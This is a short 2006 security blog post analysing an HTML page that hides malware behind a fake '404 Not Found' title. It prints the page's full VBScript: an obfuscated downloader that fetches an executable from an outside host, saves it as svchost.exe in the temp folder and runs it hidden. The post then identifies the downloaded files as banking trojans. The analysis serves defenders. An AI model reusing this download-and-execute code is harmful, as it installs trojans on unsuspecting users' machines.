Malware utilizes AJAX to install itself
November 14th, 2006 by expert, Filed under: Ask the Expert, Microsoft, Virus
One of our customers have brought this HTML based malware to our attention:
[title][/title]
[head][/head]
[body]
[script language="VBScript"]
on error resume next
‘ due to how ajax works, the file MUST be within the same local domain
dl = “http://grupo-arroba.by.ru/grupo.exe”
‘ create adodbstream object
Set df = document.createElement(“object”)
df.setAttribute “classid”, “clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″
str=”Microsoft.XMLHTTP”
Set x = df.CreateObject(str,”")
a1=”Ado”
a2=”db.”
a3=”Str”
a4=”eam”
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,”")
S.type = 1
‘ xml ajax req
str6=”GET”
x.Open str6, dl, False
x.Send
‘ Get temp directory and create our destination name
fname1=”svchost.exe”
set F = df.createobject(“Scripting.FileSystemObject”,”")
set tmp = F.GetSpecialFolder(2) ‘ Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
‘ open adodb stream and write contents of request to file
‘ like vbs dl+exec code
S.write x.responseBody
‘ Saves it with CreateOverwrite flag
S.savetofile fname1,2
S.close
set Q = df.createobject(“Shell.Application”,”")
Q.ShellExecute fname1,”",”",”open”,0
[/script]
[head]
[title][BL4CK] || 404 Not Found[/title]
[/head][body]
[center]
[!-- [script]location.href=’http://google.com’[/script] –]
[/body]
[/html]
As can be seen the malware utilizes AJAX to download http:// grupo-arroba.by.ru/ grupo.exe, which is a malware categorized as W32/new-malware!Maximus, which in turn then downloads http:// www.grupo-arroba.by.ru/ grupo.gif , which is another malware categorized as Win32/Bancos.Variant!Trojan.
This doesn’t look like it is exploiting a new vulnerability in Internet Explorer, rather it uses AJAX to make the downloading and installation of the malware a bit more covert.
-
http://deleted XML Exploit
-
http://hype-free.blogspot.com/2006/11/hips-just-pretty-ui.html Cd-MaN
-
KJK::Hyperion
-
http://hype-free.blogspot.com/ Cd-MaN
-
http://deleted XML Exploit
-
http://x-solve.com/blog/?author=19 Kuon
-
http://xmlexploit.com XML Exploit
-
LiFe



